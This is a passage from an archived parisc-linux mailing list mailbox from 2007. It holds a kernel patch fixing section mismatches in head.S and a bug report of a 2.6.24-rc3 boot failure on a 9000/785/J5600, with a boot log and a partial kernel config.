 #include "cnv_float.h"
 /* #include "types.h" */
+#include <linux/kernel.h>
 #include <asm/signal.h>
 #include <asm/siginfo.h>
 /* #include <machine/sys/mdep_private.h> */
-- 
1.5.3.4

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Section mismatch fix
Date: Sat, 17 Nov 2007 22:07:08 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <200711172207.08790.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624449 25410 80.91.229.3 (22 Nov 2014 02:47:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:29 +0000 (UTC)
To: Kyle McMartin <kyle@parisc-linux.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2007 18:18:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx097) with SMTP; 20 Dec 2007 19:18:33 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3CFDB7F808;
	Thu, 20 Dec 2007 11:18:32 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id P+Y4V8EmcKmo; Thu, 20 Dec 2007 11:18:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A75047D4CD;
	Thu, 20 Dec 2007 09:50:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 159C67D446
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Nov 2007 14:07:23 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 73mO0xXDMKsd for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Nov 2007 14:07:10 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 159CF7D438
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Nov 2007 14:07:09 -0700 (MST)
Original-Received: (qmail invoked by alias); 17 Nov 2007 21:07:10 -0000
Original-Received: from unknown (EHLO ls-cups.box) [77.182.203.112]
	by mail.gmx.net (mp053) with SMTP; 17 Nov 2007 22:07:10 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Htest: 0.5
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tsQLIwhea0ApbL6aejEzhkY3Njh6dM44
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24832

- move boot_args[] into the init section
- move $global$ into the read_mostly section
- fix the following two section mismatches:
WARNING: vmlinux.o(.text+0x9c): Section mismatch: reference to .init.text:start_kernel (between '$pgt_fill_loop' and '$is_pa20')
WARNING: vmlinux.o(.text+0xa0): Section mismatch: reference to .init.text:start_kernel (between '$pgt_fill_loop' and '$is_pa20')

Signed-off-by: Helge Deller <deller@gmx.de>

 head.S |    7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/arch/parisc/kernel/head.S b/arch/parisc/kernel/head.S
index a7b8859..ec2482d 100644
--- a/arch/parisc/kernel/head.S
+++ b/arch/parisc/kernel/head.S
@@ -20,10 +20,11 @@
 #include <asm/pgtable.h>
 
 #include <linux/linkage.h>
+#include <linux/init.h>
 
 	.level	LEVEL
 
-	.data
+	__INITDATA
 ENTRY(boot_args)
 	.word 0 /* arg0 */
 	.word 0 /* arg1 */
@@ -31,7 +32,7 @@ ENTRY(boot_args)
 	.word 0 /* arg3 */
 END(boot_args)
 
-	.text
+	.section .text.head
 	.align	4
 	.import init_thread_union,data
 	.import fault_vector_20,code    /* IVA parisc 2.0 32 bit */
@@ -343,7 +344,7 @@ smp_slave_stext:
 ENDPROC(stext)
 
 #ifndef CONFIG_64BIT
-	.data
+	.section .data.read_mostly
 
 	.align	4
 	.export	$global$,data
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frans Pop <elendil@planet.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [parisc] 2.6.24-rc3 (64-bit,
	smp) fails to boot on 9000/785/J5600
Date: Tue, 27 Nov 2007 10:26:34 +0100
Lines: 1973
Approved: news@gmane.org
Message-ID: <200711271026.34863.elendil__34611.8982219652$1416624450$gmane$org@planet.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_KL+SH2TsiGrSSff"
X-Trace: ger.gmane.org 1416624450 25412 80.91.229.3 (22 Nov 2014 02:47:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:30 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2007 19:08:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 20 Dec 2007 20:08:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4437D7F763;
	Thu, 20 Dec 2007 12:08:33 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 6B9OI62t0X28; Thu, 20 Dec 2007 12:08:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F00E47F78B;
	Thu, 20 Dec 2007 11:48:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1EF3F7D427
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Nov 2007 02:26:46 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id gSODtzAf8U5q for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Nov 2007 02:26:34 -0700 (MST)
Original-Received: from hpsmtp-eml15.kpnxchange.com (hpsmtp-eml15.KPNXCHANGE.COM
	[213.75.38.115])
	by free.linux.hp.com (Postfix) with ESMTP id 81E717D426
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Nov 2007 02:26:33 -0700 (MST)
Original-Received: from hpsmtp-eml08.kpnxchange.com ([213.75.38.108]) by
	hpsmtp-eml15.kpnxchange.com with Microsoft SMTPSVC(6.0.3790.1830); 
	Tue, 27 Nov 2007 10:26:36 +0100
Original-Received: from faramir.fjphome.nl ([84.85.147.182]) by
	hpsmtp-eml08.kpnxchange.com with Microsoft SMTPSVC(6.0.3790.1830); 
	Tue, 27 Nov 2007 10:26:35 +0100
User-Agent: KMail/1.9.7
X-OriginalArrivalTime: 27 Nov 2007 09:26:35.0221 (UTC)
	FILETIME=[9ABC9050:01C830D7]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Htest: 0.46,0.6
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /fsMLTVJaHI/bKWnKSUl1d1qamdhZIQR
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24833

--Boundary-00=_KL+SH2TsiGrSSff
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

v2.6.24-rc3-19-g2ffbb83 fails very early in the boot procedure.
2.6.23 compiled with similar config boots fine.

System is running Debian unstable; kernel was compiled using gcc 4.1.2.

Cheers,
Frans Pop

Boot messages for 2.6.24
------------------------
Command line for kernel: 'root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel='
Selected kernel: /vmlinuz-2.6.24-rc3 from partition 2
Selected ramdisk: /initrd.img-2.6.24-rc3 from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 4648960 mediaptr 0x1000
Segment 1 load 005c4000 size 689216 mediaptr 0x470000
Loading ramdisk 3078237 bytes @ 3fcff000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.24-rc3 (root@treebeard) (gcc version 4.1.3 20071019 (prerelease) (D7
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
console [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005d10 00000491 00000000 00000002 778fe5fc 100000f0 00000008 000000b2 000000b2
vers  00000300
CPUID vers 17 rev 10 (0x0000022a)
capabilities 0x3
model 9000/785/J5600
Total Memory: 2048 MB
initrd: 7fcff000-7ffee85d
initrd: reserving 3fcff000-3ffee85d (mem_max 80000000)
LCD display at fffffff0f05d0008,fffffff0f05d0000 registered
SMP: bootstrap CPU ID is 0
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 517120
Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vml3
PID hash table entries: 4096 (order: 12, 32768 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
Memory: 2051840k/2097152k available (3103k kernel code, 44736k reserved, 1388k data, )
virtual kernel memory layout:
    vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    memory  : 0x0000000040000000 - 0x00000000c0000000   (2048 MB)
      .init : 0x0000000040624000 - 0x000000004066d000   ( 292 kB)
      .data : 0x0000000040407fb0 - 0x0000000040563000   (1388 kB)
      .text : 0x0000000040100000 - 0x0000000040407fb0   (3103 kB)
<system hangs and needs power cycle>


Diff between 2.6.23 and 2.6.24 config
-------------------------------------
$ diff -u /boot/config-2.6.23 /boot/config-2.6.24-rc3 | grep "^[+-][^#]"
--- /boot/config-2.6.23 2007-11-27 08:01:51.000000000 +0000
+++ /boot/config-2.6.24-rc3     2007-11-27 08:50:10.000000000 +0000
+CONFIG_FAIR_GROUP_SCHED=y
+CONFIG_FAIR_USER_SCHED=y
+CONFIG_BLOCK_COMPAT=y
+CONFIG_PCI_LEGACY=y
+CONFIG_INET_LRO=m
+CONFIG_NETFILTER_XT_MATCH_TIME=m
+CONFIG_NET_ACT_NAT=m
+CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
+CONFIG_IDE_ARCH_OBSOLETE_INIT=y
+CONFIG_SCSI_SRP_ATTRS=m
+CONFIG_FIXED_MII_AMNT=1
+CONFIG_SSB_POSSIBLE=y
+CONFIG_SSB=m
+CONFIG_SSB_PCIHOST_POSSIBLE=y
+CONFIG_SSB_PCIHOST=y
+CONFIG_SSB_DRIVER_PCICORE_POSSIBLE=y
+CONFIG_SSB_DRIVER_PCICORE=y
+CONFIG_SND_AC97_POWER_SAVE_DEFAULT=0
+CONFIG_PRINT_QUOTA_WARNING=y
-CONFIG_RAMFS=y
+CONFIG_NETWORK_FILESYSTEMS=y
+CONFIG_INSTRUMENTATION=y
+CONFIG_ENABLE_WARN_DEPRECATED=y


Full 2.6.24 config
------------------

--Boundary-00=_KL+SH2TsiGrSSff
Content-Type: text/plain;
  charset="us-ascii";
  name="config-2.6.24-rc3"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
	filename="config-2.6.24-rc3"

#
# Automatically generated make config: don't edit
# Linux kernel version: 2.6.24-rc3
# Mon Nov 26 18:45:54 2007
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_FIND_NEXT_BIT=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_GENERIC_TIME=y
CONFIG_TIME_LOW_RES=y
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_IRQ_PER_CPU=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"

#
# General setup
#
CONFIG_EXPERIMENTAL=y
CONFIG_LOCK_KERNEL=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_LOCALVERSION=""
# CONFIG_LOCALVERSION_AUTO is not set
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_BSD_PROCESS_ACCT=y
CONFIG_BSD_PROCESS_ACCT_V3=y
# CONFIG_TASKSTATS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
CONFIG_AUDIT=y
CONFIG_IKCONFIG=y
# CONFIG_IKCONFIG_PROC is not set
CONFIG_LOG_BUF_SHIFT=15
# CONFIG_CGROUPS is not set
CONFIG_FAIR_GROUP_SCHED=y
CONFIG_FAIR_USER_SCHED=y
# CONFIG_FAIR_CGROUP_SCHED is not set
CONFIG_SYSFS_DEPRECATED=y
# CONFIG_RELAY is not set
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_CC_OPTIMIZE_FOR_SIZE=y
CONFIG_SYSCTL=y
# CONFIG_EMBEDDED is not set
CONFIG_SYSCTL_SYSCALL=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
# CONFIG_KALLSYMS_EXTRA_PASS is not set
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_ANON_INODES=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_SLAB=y
# CONFIG_SLUB is not set
# CONFIG_SLOB is not set
CONFIG_RT_MUTEXES=y
# CONFIG_TINY_SHMEM is not set
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
CONFIG_MODVERSIONS=y
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_KMOD=y
CONFIG_STOP_MACHINE=y
CONFIG_BLOCK=y
# CONFIG_BLK_DEV_IO_TRACE is not set
# CONFIG_BLK_DEV_BSG is not set
CONFIG_BLOCK_COMPAT=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_AS=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_AS is not set
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
CONFIG_SMP=y
CONFIG_HOTPLUG_CPU=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_NODES_SHIFT=3
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
# CONFIG_PREEMPT_BKL is not set
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=y
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=250
CONFIG_SELECT_MEMORY_MODEL=y
# CONFIG_FLATMEM_MANUAL is not set
CONFIG_DISCONTIGMEM_MANUAL=y
# CONFIG_SPARSEMEM_MANUAL is not set
CONFIG_DISCONTIGMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_NEED_MULTIPLE_NODES=y
# CONFIG_SPARSEMEM_STATIC is not set
# CONFIG_SPARSEMEM_VMEMMAP_ENABLE is not set
CONFIG_SPLIT_PTLOCK_CPUS=4
CONFIG_RESOURCES_64BIT=y
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
CONFIG_COMPAT=y
CONFIG_NR_CPUS=8

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
CONFIG_HPPB=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_EISA=y
CONFIG_EISA_NAMES=y
CONFIG_ISA=y
CONFIG_PCI=y
# CONFIG_ARCH_SUPPORTS_MSI is not set
CONFIG_PCI_LEGACY=y
# CONFIG_PCI_DEBUG is not set
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
# CONFIG_PCCARD is not set
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS=y
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
CONFIG_BINFMT_MISC=m

#
# Networking
#
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_UNIX=y
CONFIG_XFRM=y
CONFIG_XFRM_USER=m
# CONFIG_XFRM_SUB_POLICY is not set
# CONFIG_XFRM_MIGRATE is not set
CONFIG_NET_KEY=m
# CONFIG_NET_KEY_MIGRATE is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_FIB_HASH=y
CONFIG_IP_PNP=y
# CONFIG_IP_PNP_DHCP is not set
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
CONFIG_NET_IPIP=m
CONFIG_NET_IPGRE=m
CONFIG_NET_IPGRE_BROADCAST=y
CONFIG_IP_MROUTE=y
CONFIG_IP_PIMSM_V1=y
CONFIG_IP_PIMSM_V2=y
# CONFIG_ARPD is not set
CONFIG_SYN_COOKIES=y
CONFIG_INET_AH=m
CONFIG_INET_ESP=m
CONFIG_INET_IPCOMP=m
CONFIG_INET_XFRM_TUNNEL=m
CONFIG_INET_TUNNEL=m
CONFIG_INET_XFRM_MODE_TRANSPORT=m
CONFIG_INET_XFRM_MODE_TUNNEL=m
CONFIG_INET_XFRM_MODE_BEET=m
CONFIG_INET_LRO=m
CONFIG_INET_DIAG=m
CONFIG_INET_TCP_DIAG=m
CONFIG_TCP_CONG_ADVANCED=y
CONFIG_TCP_CONG_BIC=y
CONFIG_TCP_CONG_CUBIC=m
CONFIG_TCP_CONG_WESTWOOD=m
CONFIG_TCP_CONG_HTCP=m
CONFIG_TCP_CONG_HSTCP=m
CONFIG_TCP_CONG_HYBLA=m
CONFIG_TCP_CONG_VEGAS=m
CONFIG_TCP_CONG_SCALABLE=m
CONFIG_TCP_CONG_LP=m
CONFIG_TCP_CONG_VENO=m
CONFIG_TCP_CONG_YEAH=m
CONFIG_TCP_CONG_ILLINOIS=m
CONFIG_DEFAULT_BIC=y
# CONFIG_DEFAULT_CUBIC is not set
# CONFIG_DEFAULT_HTCP is not set
# CONFIG_DEFAULT_VEGAS is not set
# CONFIG_DEFAULT_WESTWOOD is not set
# CONFIG_DEFAULT_RENO is not set
CONFIG_DEFAULT_TCP_CONG="bic"
# CONFIG_TCP_MD5SIG is not set
CONFIG_IP_VS=m
# CONFIG_IP_VS_DEBUG is not set
CONFIG_IP_VS_TAB_BITS=12

#
# IPVS transport protocol load balancing support
#
CONFIG_IP_VS_PROTO_TCP=y
CONFIG_IP_VS_PROTO_UDP=y
CONFIG_IP_VS_PROTO_ESP=y
CONFIG_IP_VS_PROTO_AH=y

#
# IPVS scheduler
#
CONFIG_IP_VS_RR=m
CONFIG_IP_VS_WRR=m
CONFIG_IP_VS_LC=m
CONFIG_IP_VS_WLC=m
CONFIG_IP_VS_LBLC=m
CONFIG_IP_VS_LBLCR=m
CONFIG_IP_VS_DH=m
CONFIG_IP_VS_SH=m
CONFIG_IP_VS_SED=m
CONFIG_IP_VS_NQ=m

#
# IPVS application helper
#
CONFIG_IP_VS_FTP=m
CONFIG_IPV6=m
CONFIG_IPV6_PRIVACY=y
# CONFIG_IPV6_ROUTER_PREF is not set
# CONFIG_IPV6_OPTIMISTIC_DAD is not set
CONFIG_INET6_AH=m
CONFIG_INET6_ESP=m
CONFIG_INET6_IPCOMP=m
# CONFIG_IPV6_MIP6 is not set
CONFIG_INET6_XFRM_TUNNEL=m
CONFIG_INET6_TUNNEL=m
CONFIG_INET6_XFRM_MODE_TRANSPORT=m
CONFIG_INET6_XFRM_MODE_TUNNEL=m
CONFIG_INET6_XFRM_MODE_BEET=m
CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION=m
CONFIG_IPV6_SIT=m
CONFIG_IPV6_TUNNEL=m
# CONFIG_IPV6_MULTIPLE_TABLES is not set
# CONFIG_NETLABEL is not set
CONFIG_NETWORK_SECMARK=y
CONFIG_NETFILTER=y
# CONFIG_NETFILTER_DEBUG is not set
CONFIG_BRIDGE_NETFILTER=y

#
# Core Netfilter Configuration
#
CONFIG_NETFILTER_NETLINK=m
CONFIG_NETFILTER_NETLINK_QUEUE=m
CONFIG_NETFILTER_NETLINK_LOG=m
CONFIG_NF_CONNTRACK_ENABLED=m
CONFIG_NF_CONNTRACK=m
CONFIG_NF_CT_ACCT=y
CONFIG_NF_CONNTRACK_MARK=y
CONFIG_NF_CONNTRACK_SECMARK=y
CONFIG_NF_CONNTRACK_EVENTS=y
CONFIG_NF_CT_PROTO_GRE=m
CONFIG_NF_CT_PROTO_SCTP=m
CONFIG_NF_CT_PROTO_UDPLITE=m
CONFIG_NF_CONNTRACK_AMANDA=m
CONFIG_NF_CONNTRACK_FTP=m
CONFIG_NF_CONNTRACK_H323=m
CONFIG_NF_CONNTRACK_IRC=m
CONFIG_NF_CONNTRACK_NETBIOS_NS=m
CONFIG_NF_CONNTRACK_PPTP=m
CONFIG_NF_CONNTRACK_SANE=m
CONFIG_NF_CONNTRACK_SIP=m
CONFIG_NF_CONNTRACK_TFTP=m
CONFIG_NF_CT_NETLINK=m
CONFIG_NETFILTER_XTABLES=m
CONFIG_NETFILTER_XT_TARGET_CLASSIFY=m
CONFIG_NETFILTER_XT_TARGET_CONNMARK=m
CONFIG_NETFILTER_XT_TARGET_DSCP=m
CONFIG_NETFILTER_XT_TARGET_MARK=m
CONFIG_NETFILTER_XT_TARGET_NFQUEUE=m
CONFIG_NETFILTER_XT_TARGET_NFLOG=m
CONFIG_NETFILTER_XT_TARGET_NOTRACK=m
CONFIG_NETFILTER_XT_TARGET_TRACE=m
CONFIG_NETFILTER_XT_TARGET_SECMARK=m
CONFIG_NETFILTER_XT_TARGET_CONNSECMARK=m
CONFIG_NETFILTER_XT_TARGET_TCPMSS=m
CONFIG_NETFILTER_XT_MATCH_COMMENT=m
CONFIG_NETFILTER_XT_MATCH_CONNBYTES=m
CONFIG_NETFILTER_XT_MATCH_CONNLIMIT=m
CONFIG_NETFILTER_XT_MATCH_CONNMARK=m
CONFIG_NETFILTER_XT_MATCH_CONNTRACK=m
CONFIG_NETFILTER_XT_MATCH_DCCP=m
CONFIG_NETFILTER_XT_MATCH_DSCP=m
CONFIG_NETFILTER_XT_MATCH_ESP=m
CONFIG_NETFILTER_XT_MATCH_HELPER=m
CONFIG_NETFILTER_XT_MATCH_LENGTH=m
CONFIG_NETFILTER_XT_MATCH_LIMIT=m
CONFIG_NETFILTER_XT_MATCH_MAC=m
CONFIG_NETFILTER_XT_MATCH_MARK=m
CONFIG_NETFILTER_XT_MATCH_POLICY=m
CONFIG_NETFILTER_XT_MATCH_MULTIPORT=m
CONFIG_NETFILTER_XT_MATCH_PHYSDEV=m
CONFIG_NETFILTER_XT_MATCH_PKTTYPE=m
CONFIG_NETFILTER_XT_MATCH_QUOTA=m
CONFIG_NETFILTER_XT_MATCH_REALM=m
CONFIG_NETFILTER_XT_MATCH_SCTP=m
CONFIG_NETFILTER_XT_MATCH_STATE=m
CONFIG_NETFILTER_XT_MATCH_STATISTIC=m
CONFIG_NETFILTER_XT_MATCH_STRING=m
CONFIG_NETFILTER_XT_MATCH_TCPMSS=m
CONFIG_NETFILTER_XT_MATCH_TIME=m
CONFIG_NETFILTER_XT_MATCH_U32=m
CONFIG_NETFILTER_XT_MATCH_HASHLIMIT=m

#
# IP: Netfilter Configuration
#
